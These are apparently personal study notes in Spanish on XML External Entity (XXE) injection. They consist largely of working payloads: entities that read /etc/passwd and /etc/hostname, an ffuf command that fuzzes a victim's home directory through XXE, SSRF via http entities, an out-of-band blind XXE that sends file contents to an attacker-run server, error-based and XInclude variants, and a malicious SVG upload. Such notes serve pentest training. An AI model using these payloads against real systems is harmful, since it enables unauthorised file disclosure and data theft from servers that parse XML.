Apuntes XXE
Apuntes XXE
Inicio
https://www.youtube.com/watch?v=UfILDa_qStQ
hacktricks https://book.hacktricks.wiki/en/pentesting-web/xxe-xee-xml-external-entity.html
Cuando hablamos de XML External Entity (XXE) Injection, a lo que nos referimos es a una vulnerabilidad de seguridad en la que un atacante puede utilizar una entrada XML maliciosa para acceder a recursos del sistema que normalmente no estarían disponibles, como archivos locales o servicios de red. Esta vulnerabilidad puede ser explotada en aplicaciones que utilizan XML para procesar entradas, como aplicaciones web o servicios web.
Un ataque XXE generalmente implica la inyección de una entidad XML maliciosa en una solicitud HTTP, que es procesada por el servidor y puede resultar en la exposición de información sensible. Por ejemplo, un atacante podría inyectar una entidad XML que hace referencia a un archivo en el sistema del servidor y obtener información confidencial de ese archivo.
Las entidades se pueden manipular con un DTD (Document Type Definition):
<!DOCTYPE foo [ <!ENTITY mail "hola"> ]>
Entonces aquí, podriamos probar entidades predefinidas para tensarla que hay unas cuantas:
Uso de wrappers para cambiar la presentación de los datos
La idea sigue siendo la misma, declarar una entidad, pero usando wrappers
Wrapper file
1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
XXE FUZZ
Si podemos usar el wrapper anterior, podemos fuzzear por directorios con ffuf
de la siguiente manera:
1
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://192.168.1.44/magic.php -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/david/FUZZ"> ]> <details><email>&xxe;</email><password>das</password></details>' --fw 11
XXE + SSRF
SSFR (Server-side Request Forgery) consinste en visualizar puertos, servicios , secciones de una máquina o servidor aprovechándonos de un campo o utilidad del mismo:
Entonces abusando de XXE podemos hacer algo parecido. Por ejemplo, con el wrapper http://
:
<!DOCTYPE foo [ <!ENTITY xxe "http://192.168.1.10/etc/passwd"> ]>
Entonces, a través de un XXE podemos acceder a recursos, en este caso, de nuestra máquina.
Entonces por ejemplo podríamos llegar a ver/acceder a una máquina de la red de la máquina víctima.
Ahora a ir fuzeando
Ahora con esto, lo que vamos a hacer es en nuestra máquina crearnos una entidad
XXE a ciegas out-of-band | No permite injectar entidades | DTD externo
<!DOCTYPE foo [ <!ENTITY % xxe "http://192.168.1.10/malicioud"> %xxe; ]>
Esta se produce cuando de primeras en la comprobación, no ves que se está aconteciendo un xxe:
Entonces podemos probar un XXE out-out-band que seria llamar a una url externa para exportar la información/entidades para verla de nuestro lado
Cuando hay páginas que no permiten inyectar entidades, podemos llamar a la entidad en el propio DOCTYPE:
Entonces, aqui pasamos el /etc/passwd a un servidor nuestro que tenemos montado en python
A veces no hace falto ni poner el wrapper
XXE a ciegas via error messages
Cuando veamos que hay errores en la respuesta, nos podemos aprovechar de ellos para cargar datos.
Esto se hace haciendo la petición a nuestro .dtd y que este carga un fichero que no existe, forzando un error el cual nos mostrará data.
Exploting XInclude to retrieve files
Cuando no podamos modificar el DOCTYPE, porque no lo hay, en los elementos metemos este código
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XXE via Imagen
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Esto sucede en webs en las que podemos subir una imagen
Metemos
Si no funciona de primeras, con Burpsuite lo unificamos todo:
Ahora al abrir la imagen, esta tendrá la data que le pedimos